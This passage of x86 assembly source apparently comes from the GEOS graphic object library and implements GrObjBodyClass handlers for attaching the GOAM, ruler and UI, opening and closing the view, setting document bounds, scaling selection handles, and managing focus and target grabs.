ds:[di].GBI_head.chunk,dx .leave ret GrObjBodyAttachHead endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyAttachGOAM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set the od of the oam in the body PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBody cx:dx - optr of goam RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 7/17/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyAttachGOAM method dynamic GrObjBodyClass, MSG_GB_ATTACH_GOAM uses cx,dx .enter mov ds:[di].GBI_goam.handle,cx mov ds:[di].GBI_goam.chunk,dx clr di mov cx,ds:[LMBH_handle] mov dx,si mov ax, MSG_GOAM_ATTACH_BODY call GrObjBodyMessageToGOAM .leave ret GrObjBodyAttachGOAM endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyDetachGOAM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Clear the od of the oam in the body PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBody RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 7/17/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyDetachGOAM method dynamic GrObjBodyClass, MSG_GB_DETACH_GOAM .enter clr ds:[di].GBI_goam.handle clr di mov cx,ds:[LMBH_handle] mov dx,si mov ax, MSG_GOAM_DETACH_BODY call GrObjBodyMessageToGOAM .leave ret GrObjBodyDetachGOAM endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyAttachRuler %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set the od of the ruler in the body PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBody cx:dx - optr of ruler RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 7/17/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyAttachRuler method dynamic GrObjBodyClass, MSG_GB_ATTACH_RULER .enter mov ds:[di].GBI_ruler.handle,cx mov ds:[di].GBI_ruler.chunk,dx .leave ret GrObjBodyAttachRuler endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyVisOpen %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Handle MSG_VIS_OPEN Note: We purposely don't call our super class because we don't want the superclass to muck with the vis bits nor do we want it to send vis open to our children. PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjClass bp - window RETURN: nothing DESTROYED: ax,cx,dx,bp PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 4/23/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyVisOpen method GrObjBodyClass, MSG_VIS_OPEN .enter mov di, ds:[si] add di, ds:[di].Vis_offset ; ds:di = VisInstance EC < test ds:[di].VI_attrs, mask VA_REALIZED > EC < ERROR_NZ GRAPHIC_OBJECT_ALREADY_OPENED > ; If not passed a window, then query up for one ; tst bp ;window jnz haveWindow call VisQueryParentWin EC < tst di > EC < ERROR_Z GRAPHIC_NO_PARENT_WIN_FOUND > mov bp, di ;window haveWindow: ; INCREMENT INTERACTIBLE COUNT for object ; block. The other half of this ; inc/dec pair is mirrored in ; VisClose, which is one more reason ; why these methods must be ; symmetrical. call ObjIncInteractibleCount ; Mark body as realized and if it is a composite then ; store the window handle ; mov di, ds:[si] add di, ds:[di].Vis_offset or ds:[di].VI_attrs, mask VA_REALIZED test ds:[di].VI_typeFlags, mask VTF_IS_COMPOSITE jz done ; if not, done ; Save window handle for non-win composites ; EC < cmp ds:[di].VCI_window, 0 ; see if window stored here > EC < ERROR_NZ GRAPHIC_OBJECT_NOT_REALIZED_YET_HAS_GWIN > EC < xchg bx, bp > EC < call ECCheckWindowHandle > EC < xchg bx, bp > mov ds:[di].VCI_window, bp ;keep window handle in instance data ; If for some reason we created a gstate when we didn't have ; a window then jump to recreate our gstate and any ; of our childrens' cached gstates, otherwise ; just vup us a new one. ; mov di,ds:[si] add di,ds:[di].GrObjBody_offset tst ds:[di].GBI_graphicsState jnz recreate mov ax,MSG_VIS_VUP_CREATE_GSTATE call ObjCallInstanceNoLock mov di,ds:[si] add di,ds:[di].GrObjBody_offset mov ds:[di].GBI_graphicsState,bp ; Vis objects in the grobj do not receive vis open ; So, don't send it ; checkTargeted: ; If already gained target then draw handles of objects with ; newly created gstate. Else grab target and the gain target ; excl routine will draw the handles ; test ds:[di].GBI_fileStatus, mask GOFS_TARGETED jnz drawHandles ;jmp if already the target done: .leave ret ;; We already have the target but have been unable to draw ;; the handles of the currently selected objects ;; because we had no gstate, but now we do ;; Also, update the ui for the selected objects drawHandles: mov dx,ds:[di].GBI_graphicsState mov ax,MSG_GO_DRAW_HANDLES_RAW call GrObjBodySendToSelectedGrObjsAndEditGrab mov cx, mask GrObjUINotificationTypes mov ax,MSG_GB_UPDATE_UI_CONTROLLERS call ObjCallInstanceNoLock jmp short done recreate: mov ax,MSG_VIS_RECREATE_CACHED_GSTATES call ObjCallInstanceNoLock jmp checkTargeted GrObjBodyVisOpen endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyVisClose %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Handle MSG_VIS_CLOSE PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass RETURN: nothing DESTROYED: ax,cx,dx,bp PSEUDO CODE/STRATEGY: nothing KNOWN BUGS/SIDE EFFECTS/IDEAS: This method should be optimized for SMALL SIZE over SPEED Common cases: gstate exists REVISION HISTORY: Name Date Description ---- ---- ----------- srs 4/23/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyVisClose method dynamic GrObjBodyClass, MSG_VIS_CLOSE .enter mov di,offset GrObjBodyClass call ObjCallSuperNoLock ; Vis objects in the grobj don't receive vis close ; So don't send it. ; ; Destroy the gstate if it exists. They may not be a gstate ; if the user reverts to an empty document. ; mov bx,ds:[si] add bx,ds:[bx].GrObjBody_offset clr di xchg di,ds:[bx].GBI_graphicsState tst di jz done call GrDestroyState done: Destroy ax,cx,dx,bp .leave ret GrObjBodyVisClose endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyAttachUI %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Prepare GrObjBody for opening after it has been added to the Document/Content. Mark body as open and create selection array. PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass cx:dx - OD of GrObjHead RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: This method should be optimized for SMALL SIZE over SPEED Common cases: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 1/31/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyAttachUI method dynamic GrObjBodyClass, MSG_GB_ATTACH_UI .enter ; Do some heavy error checking on the vm file ; EC < push ax,bx > EC < test ds:[LMBH_flags],mask LMF_IS_VM > EC < ERROR_Z GROBJ_BODY_MUST_BE_ATTACHED_TO_VM > EC < mov bx,ds:[LMBH_handle] > EC < mov ax,MGIT_OWNER_OR_VM_FILE_HANDLE > EC < call MemGetInfo > EC < mov bx,ax ;vm file handle > EC < call VMGetAttributes > EC < test al, mask VMA_OBJECT_RELOC > EC < ERROR_Z GROBJ_BAD_VM_ATTRIBUTES > EC < test al, mask VMA_SYNC_UPDATE or mask VMA_TEMP_ASYNC > EC < ERROR_Z GROBJ_BAD_VM_ATTRIBUTES > EC < test al, mask VMA_NO_DISCARD_IF_IN_USE > EC < ERROR_Z GROBJ_BAD_VM_ATTRIBUTES > EC < pop ax,bx > ; The body cannot be discarded. So inc its in use count ; which will prevent it from being discarded. ; In general the in use count will already be non zero ; because the body will be added to the content/document ; with MSG_VIS_ADD_NON_DISCARDABLE_VM_CHILD each time the ; document is opened.. However, in some files the body may ; be a child of an object in the file, so the body will not ; be added to this other object each time the document is opened. ; So incing the in use count here will prevent the body from ; being discarded in these cases. (Note: the in use count ; is cleared whenever a file is opened) ; call ObjIncInUseCount mov ax,MSG_GB_ATTACH_HEAD call ObjCallInstanceNoLock mov di,ds:[si] add di,ds:[di].GrObjBody_offset ornf ds:[di].GBI_fileStatus, mask GOFS_OPEN call GrObjBodyCreateSelectionArray ; Must grab grabs after creating selection array because ; the GAINED messages may need to process selection list ; mov di,ds:[si] add di,ds:[di].GrObjBody_offset test ds:[di].GBI_flags, mask GBF_DEFAULT_TARGET jz checkDefaultFocus call MetaGrabTargetExclLow checkDefaultFocus: test ds:[di].GBI_flags, mask GBF_DEFAULT_FOCUS jz done call MetaGrabFocusExclLow done: .leave ret GrObjBodyAttachUI endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyDetachUI %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Prepare GrObjBody for closing before it is removed from the body. Mark body as closed and destroy selection array. PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: This method should be optimized for SMALL SIZE over SPEED Common cases: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 1/31/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyDetachUI method dynamic GrObjBodyClass, MSG_GB_DETACH_UI .enter ; ; We probably won't have an undo context here -- in any case, we ; want to ignore these actions, so no chains/actions will be added, ; causing a horrible death. ; call GrObjGlobalUndoIgnoreActions ; ; clear this flag before releasing the target, so that ; children will know the document is closing ; mov di,ds:[si] add di,ds:[di].GrObjBody_offset andnf ds:[di].GBI_fileStatus, not mask GOFS_OPEN ; Must release grabs before destroying selection array ; because some of the LOST message do things with the ; selection list. ; call MetaReleaseFocusExclLow call MetaReleaseTargetExclLow ; We may have become the current body without become the ; target if the EditTextGuardian rejected a start select. ; So just in case make sure we aren't the current body. ; mov cx,ds:[LMBH_handle] mov dx,si mov ax,MSG_GH_CLEAR_CURRENT_BODY clr di ;MessageFlags call GrObjBodyMessageToHead ; If we didn't do this then we would end up with objects ; that had their GOTM_SELECTED bit set but weren't ; in the selection array. ; call GrObjBodyRemoveAllGrObjsFromSelectionList call GrObjBodyDestroySelectionArray call GrObjGlobalUndoAcceptActions .leave ret GrObjBodyDetachUI endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodySetBoundsWithoutMarkingDirty %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set bounds of body PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass ss:bp - RectDWord RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: This method should be optimized for SMALL SIZE over SPEED Common cases: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 1/29/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodySetBoundsWithoutMarkingDirty method dynamic GrObjBodyClass, MSG_GB_SET_BOUNDS_WITHOUT_MARKING_DIRTY .enter call GrObjBodySetBoundsLow .leave ret GrObjBodySetBoundsWithoutMarkingDirty endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyGetBounds %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Return bounds of the Body PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass ss:bp - RectDWord buffer to fill RETURN: ss:bp - RectDWord buffer filled DESTROYED: nothing PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: This method should be optimized for SMALL SIZE over SPEED Common cases: unknown REVISION HISTORY: Name Date Description ---- ---- ----------- srs 3/17/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyGetBounds method dynamic GrObjBodyClass, MSG_GB_GET_BOUNDS uses cx .enter lea si, ds:[di].GBI_bounds ;ds:si = source segmov es, ss mov di, bp mov cx, (size RectDWord)/2 rep movsw .leave ret GrObjBodyGetBounds endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyVisLayerSetDocBounds %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set the document bounds to the passed rectangle PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass ss:bp - RectDWord structure RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- chrisb 11/14/91 Initial revision %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyVisLayerSetDocBounds method dynamic GrObjBodyClass, MSG_VIS_LAYER_SET_DOC_BOUNDS, MSG_GB_SET_BOUNDS ; ; If there's no change, don't mark dirty! ; push si lea si, ds:[di].GBI_bounds mov di, bp segmov es, ss mov cx, size RectDWord/2 repe cmpsw pop si je done call ObjMarkDirty call GrObjBodySetBoundsLow done: ret GrObjBodyVisLayerSetDocBounds endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodySetBoundsLow %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set bounds of body CALLED BY: INTERNAL GrObjBodySetBounds PASS: *(ds:si) - body instance ss:bp - RectDWord RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: NOTE: This low level routine does NOT dirty the document. This simplifies things for the spreadsheet which doesn't want to dirty the document when the bounds change. It can subclass the messages for changing the bound and have them call this routine without also calling ObjMarkDirty. This routine should be optimized for SMALL SIZE over SPEED Common cases: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 7/25/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodySetBoundsLow proc far uses ax,bx,cx,dx,bp,di,es class GrObjBodyClass .enter EC < call ECGrObjBodyCheckLMemObject > ; Copy the new bounds into the body's instance data noting ; if the upper left of the bounds move. ; clr cx ;assume no gstate recalc needed mov di,ds:[si] add di,ds:[di].GrObjBody_offset movdw bxax,ss:[bp].RD_left cmpdw bxax,ds:[di].GBI_bounds.RD_left je 10$ inc cx ;left moved, need recalc gstate movdw ds:[di].GBI_bounds.RD_left,bxax 10$: movdw bxax,ss:[bp].RD_top cmpdw bxax,ds:[di].GBI_bounds.RD_top je 20$ inc cx ;top moved, need recalc gstate movdw ds:[di].GBI_bounds.RD_top,bxax 20$: movdw bxax,ss:[bp].RD_right movdw ds:[di].GBI_bounds.RD_right,bxax movdw bxax,ss:[bp].RD_bottom movdw ds:[di].GBI_bounds.RD_bottom,bxax ; If the upper left didn't change then we are done ; jcxz done ; The upper left changing affects the ; translation stored in the cached gstate ; mov ax,MSG_VIS_RECREATE_CACHED_GSTATES call ObjCallInstanceNoLock ; Changing the upper left also affects how mouse events ; are translated. ; mov di,ds:[si] add di,ds:[di].GrObjBody_offset test ds:[di].GBI_fileStatus,mask GOFS_MOUSE_GRAB jz done call VisGrabMouse done: .leave ret GrObjBodySetBoundsLow endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyViewScaleFactorChanged %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Notify the body that the scale factor in the view has changed. This default handler recalculates the curHandleWidth and curHandleHeight based on the new scale factor and desiredHandle size PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass ss:bp - ScaleChangedParams RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: DO NOT MARK THE BODY DIRTY when setting the curHandleWidth and curHandleHeight information. This info is only relevant while the document is open so it does not need to be saved. Plus, MSG_META_CONTENT_VIEW_SCALE_FACTOR_CHANGED is always sent when the document is opened, so the body would always become instantly dirty. Very bad. This method should be optimized for SMALL SIZE over SPEED Common cases: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 1/22/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyViewScaleFactorChanged method dynamic GrObjBodyClass, MSG_META_CONTENT_VIEW_SCALE_FACTOR_CHANGED .enter CheckHack <offset SCP_scaleFactor eq 0> call GrObjBodyCalcHandleSizesFromScaleFactor .leave ret GrObjBodyViewScaleFactorChanged endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyCalcHandleSizesFromScaleFactor %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: Calculates GBI_curHandle* from the passed view scale and the desired handle size. Also figures out nudge distances Pass: *ds:si - GrObjBody ss:[bp] - PointWWFixed Return: nothing Destroyed: nothing Comments: Revision History: Name Date Description ---- ------------ ----------- jon Nov 13, 1992 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyCalcHandleSizesFromScaleFactor proc far class GrObjBodyClass uses ax, bx, cx, dx, di .enter ; ; Store the current scale factor. Why? I don't know ; mov di, ds:[si] add di, ds:[di].GrObjBody_offset movwwf ds:[di].GBI_curScaleFactor.PF_x,ss:[bp].SCP_scaleFactor.PF_x,ax movwwf ds:[di].GBI_curScaleFactor.PF_y,ss:[bp].SCP_scaleFactor.PF_y,ax ; ; Calculate document sizes of handles to achieve desired pixel size ; mov dl,ds:[di].GBI_desiredHandleSize tst dl jns gotDesired neg dl gotDesired: clr dh push dx clr cx movwwf bxax, ss:[bp].SCP_scaleFactor.PF_x call GrUDivWWFixed rndwwf dxcx mov ds:[di].GBI_curHandleWidth,dl mov dx,1 clr cx call GrUDivWWFixed mov ds:[di].GBI_curNudgeX.BBF_int,dl mov ds:[di].GBI_curNudgeX.BBF_frac,ch pop dx clr cx movwwf bxax,ss:[bp].SCP_scaleFactor.PF_y call GrUDivWWFixed rndwwf dxcx mov ds:[di].GBI_curHandleHeight,dl mov dx,1 clr cx call GrUDivWWFixed mov ds:[di].GBI_curNudgeY.BBF_int,dl mov ds:[di].GBI_curNudgeY.BBF_frac,ch call GrObjBodySetCurrentOptionsOnViewScaleFactorChanged .leave ret GrObjBodyCalcHandleSizesFromScaleFactor endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodySetCurrentOptionsOnViewScaleFactorChanged %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set the GOFA_VIEW_ZOOMED bit in the body's current options if the view is zoomed in CALLED BY: INTERNAL GrObjBodyViewScaleFactorChanged PASS: *ds:si - body RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: Don't need to mark dirty because this bit isn't saved with the document and the body won't get discarded KNOWN BUGS/SIDE EFFECTS/IDEAS: This routine should be optimized for SMALL SIZE over SPEED Common cases: unknown REVISION HISTORY: Name Date Description ---- ---- ----------- srs 9/21/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodySetCurrentOptionsOnViewScaleFactorChanged proc near class GrObjBodyClass uses di .enter EC < call ECGrObjBodyCheckLMemObject > mov di,ds:[si] add di,ds:[di].GrObjBody_offset BitClr ds:[di].GBI_currentModifiers, GOFA_VIEW_ZOOMED cmp ds:[di].GBI_curScaleFactor.PF_x.WWF_int,1 jne checkXAbove tst ds:[di].GBI_curScaleFactor.PF_x.WWF_frac jnz setBit checkY: cmp ds:[di].GBI_curScaleFactor.PF_y.WWF_int,1 jne checkYAbove tst ds:[di].GBI_curScaleFactor.PF_y.WWF_frac jnz setBit done: .leave ret checkXAbove: ja setBit jmp checkY checkYAbove: jb done setBit: BitSet ds:[di].GBI_currentModifiers, GOFA_VIEW_ZOOMED jmp done GrObjBodySetCurrentOptionsOnViewScaleFactorChanged endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyUpdateFocusExcl %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Provide default focus node behavior PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass RETURN: nothing DESTROYED: ax,cx,dx,bp PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 3/ 5/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyUpdateFocusExcl method GrObjBodyClass, MSG_META_GAINED_FOCUS_EXCL, MSG_META_LOST_FOCUS_EXCL, MSG_META_GAINED_SYS_FOCUS_EXCL .enter mov bp, MSG_META_GAINED_FOCUS_EXCL mov bx, offset GrObjBody_offset mov di, offset GBI_focusExcl call FlowUpdateHierarchicalGrab .leave Destroy ax,cx,dx,bp ret GrObjBodyUpdateFocusExcl endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyLostSystemFocusExcl %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Provide default focus node behavior, and turn off "GOFA_KEYBOARD_SPECIFIC" flag. PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass RETURN: nothing DESTROYED: ax,cx,dx,bp PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 3/ 5/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyLostSystemFocusExcl method dynamic GrObjBodyClass, MSG_META_LOST_SYS_FOCUS_EXCL .enter ; Pass on lost focus ; call GrObjBodyUpdateFocusExcl ; Provide default behavior ; We no longer know what keys are down ; mov di,ds:[si] add di,ds:[di].GrObjBody_offset andnf ds:[di].GBI_currentModifiers, not GOFA_KEYBOARD_SPECIFIC call GrObjBodySetOptions Destroy ax,cx,dx,bp .leave ret GrObjBodyLostSystemFocusExcl endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyGetFocusExcl %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Return the od of the body's focusExcl PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass RETURN: cx:dx - od of focus DESTROYED: ax,bp PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: This method should be optimized for SMALL SIZE over SPEED Common cases: unknown REVISION HISTORY: Name Date Description ---- ---- ----------- srs 6/17/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyGetFocusExcl method dynamic GrObjBodyClass, MSG_META_GET_FOCUS_EXCL .enter mov cx,ds:[di].GBI_focusExcl.HG_OD.handle mov dx,ds:[di].GBI_focusExcl.HG_OD.chunk stc .leave Destroy ax,bp ret GrObjBodyGetFocusExcl endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyGetTargetExcl %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Return the od of the body's targetExcl PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass RETURN: cx:dx - od of target DESTROYED: ax,bp PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: This method should be optimized for SMALL SIZE over SPEED Common cases: unknown REVISION HISTORY: Name Date Description ---- ---- ----------- srs 6/17/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyGetTargetExcl method dynamic GrObjBodyClass, MSG_META_GET_TARGET_EXCL .enter mov cx,ds:[di].GBI_targetExcl.HG_OD.handle mov dx,ds:[di].GBI_targetExcl.HG_OD.chunk stc .leave Destroy ax,bp ret GrObjBodyGetTargetExcl endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% 